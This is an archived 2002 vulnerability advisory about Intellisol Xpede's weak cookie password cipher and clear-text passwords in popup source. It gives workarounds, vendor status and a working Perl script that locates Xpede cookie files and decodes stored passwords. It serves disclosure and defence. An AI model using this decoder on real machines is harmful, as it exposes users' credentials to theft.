exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

xpede.txt

xpede.txt
Posted Mar 22, 2002
Authored by Gregory Duchemin

Intellisol Xpede v4.1 and 7.1 contains two remote vulnerabilities which disclose user passwords. Workaround information included.

tags | remote, vulnerability
SHA-256 | 81eb0c2ecc2614795ed95d5aecf4f16515e453e55ce6b04b45dccc19776c3a69

xpede.txt

Change Mirror Download


Passwords exposed in Intellisol XPede
==========================


About Xpede
=========

quote from http://www.workforceroi.com/solutions/pa/index.shtml

"Intellisol Xpede is a browser-based time and expense entry and project cost
management module designed to connect a remote workforce on a real-time
basis.
Intellisol Project Accounting is designed for any professional service
organization such as consulting, software development, law, architecture,
engineering, PR/advertising and more with between 10 and 500 million dollars
in revenue and up to 500 employees,
and integrates with Microsoft Great Plains Business Solutions financial
suites. "


Problems
=======

Tested with Xpede 4.1 / NT 4.0
Two security vulnerabilites has been discovered in the way Xpede handle
users password.

1/ Xpede's cookies store users password "ciphered" in a very weak manner
(a mix of shifts and permutations),
recovering a clear text password from there is really trivial making users
remotely vulnerable from cross site scripting based attacks,
various MSIE bugs while users are locally vulnerable as well, by accessing
the local filesystem (ie the cookie file) when, for instance,
a user decide to use someone else's computer or is using a computer for wich
he shares Administrator rights with other.

2/ Passwords are shown in a clear form into the "session timeout"
re-authentication popup source.
The dangerous guilty javascript snipet simulate a "remember password" option
and tests if it was checked to automatically fill up the formular password
field.
The clear password is shown as is, in the javascript source code, whatever
the user decided to do with the option.
Indeed, a user can have a false sense of safety, leaving his host even few
seconds without having filled up the authentication popup
and therefore exposing his password to everybody lurking at the source and,
once again, is remotely vulnerable to the same MSIE bugs mentionned above.


Temp workarounds
=============

1 st problem / clear all cookies via MSIE "Tools/Internet
Options/General/Delete Cookies" right after a session has ended
to avoid local attack and patch your browser with the latests security fixes
if it wasn't already done
(anyway, u may fall in more serious troubles in the latter case :).

2 nd problem/ do not expose the authentication popup to unwise eyes (login
or quit the application) and again, patch your browser for remote attacks.


Additionnaly for paranoids, i suggest to close all MSIE running windows
before accessing Xpede application (and during the session).



Vendor status
=========

The vendor has been contacted on March 13. and as far as i know, is
currently working on a patch,
in the meantime, u may want to use the above workarounds.



Versions
======

Xpede support team has reported that both Xpede 4.1 and 7.x series were
affected by these vulnerabilities.


Author & Date
===========

Gregory Duchemin (c3rb3r@hotmail.com)
20 March 2002.


Have a nice day.



Proof of concept (password recovery from cookies)
====================================

#!/usr/bin/perl
# Xdeep.pl, search for and decipher Xpede passwords stored in these damn
cookies
# Pr00f of concept, not to be used for illegal purposes.
#
# Author: Gregory Duchemin Aka c3rb3r // March 2002
#
#output format

format STDOUT =
+ Userid: @<<<<<<<
$userid
+ Realname: @<<<<<<<<<<<<<<<<<<<<<<<<<
$realname
+ Company: @<<<<<<<<<<<<<<<<<<<<
$company
+ Encoded password: @<<<<<<<<<<<<<<<<<<<<
$password
.


#Cookie fingerprint
$signature="defPWD";



#decoding stuff
@PERMU=('9', '11', '2', '6', '4', '10', '1', '8', '7', '3', '5');
@ALPHA=('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R','S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
@SHIFT=(9, 5, 17, 26, 17, 22, 6, 2, 25, 6, 23);


#Change the following path to match your system
@COOKIE= glob('c:\winnt\Profiles\*\Cookies\*@*.txt');



$i=$count=0;
@FOUND= ('nope');

print "\n\nXdeep.pl Xpede cookies finder and decoder \n\n-- Gregory
Duchemin (Aka C3rb3r) ^ Feb 2002 --\n\n\n";

foreach $try (@COOKIE) {
$count++;
if (open(handle, $try))
{
@lines=<handle>;
if (!index($lines[0], $signature))
{
printf("\n+ Xpede cookie found ! yep :) <=> %s\n", $try);
$FOUND[$i]=$try;
$i++;
}
close(handle);
}

}

printf("\n+ %d files checked.\n", $count);

if (! $i)
{
print "\n\n- No Xpede cookie found, sorry\n\n";
exit(0);
}

printf("\n\n+ %d Cookie(s) found.\n", $i);
print "\n\n\n[Press return]\n";
$try=<STDIN>;

foreach $try (@FOUND) {

if (open(handle, $try))
{
@lines=<handle>;

$userid= @lines[55];
$realname=@lines[64];
$password=@lines[46];
$company=@lines[28];

$realname =~ s/\+/ /;
$userid =~ s/\+/ /;
$password =~ s/\+/ /;
$company =~ s/\+/ /;

$userid =~ s/%([a-f0-9][a-f0-9])/pack("C", hex($1))/eig;
$realname =~ s/%([a-f0-9][a-f0-9])/pack("C", hex($1))/eig;
$password =~ s/%([a-f0-9][a-f0-9])/pack("C", hex($1))/eig;
$company =~ s/%([a-f0-9][a-f0-9])/pack("C", hex($1))/eig;

printf "\n+ Found Xpede cookie :\n>> %s <<\n\n", $try;
write;
print "\n\n! Cr4cking 1n progr3ss ... \n";

@list=split //, $password;




if (length($password) > 12 )
{
$MAX = 11;
$DIFF = length($password)-1-$MAX;
for ($i = 0; $i < ($DIFF); $i++) {$REST = $REST.$list[$i]; }
splice(@list, 0, ($DIFF));
printf "\n+ Clear part is %s\n", $REST;
}
else {$MAX = length($password)-1;printf "\n- No clear part found \n";}



for ($i=0; $i<$MAX; $i) { $temp_pass = $temp_pass.$list[$PERMU[$i++]-1]; }
printf "\n+ Permutations give %s\n", $temp_pass;


@list=split //, $temp_pass;
for ($i=0; $i<$MAX; $i++)
{
$b = ord($list[$i]);
$c = $SHIFT[$i];
$flag=0;


for ($z=0; $z<52; $z+=1)
{
if (ord($ALPHA[$z]) == $b) { $a = ord($ALPHA[($z+$c)%52]);$flag=1;}
}

if (!$flag) {$a = $b;}


$decode = $decode.chr($a);
printf "\n+ %s Shift(%d) \t --> \t%s", chr($b), $c, chr($a);
}

printf "\n\n+ Shifting with secret key give %s\n", $decode;
printf "\n! Password is \"%s\"\n\n", $decode.$REST;
printf "\n\n- End.\n\n";

$decode=$REST=$temp_pass="";
close(handle);

print "\n\n[Press return]\n";
$try=<STDIN>;
}
}







_________________________________________________________________
Join the world’s largest e-mail service with MSN Hotmail.
http://www.hotmail.com

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close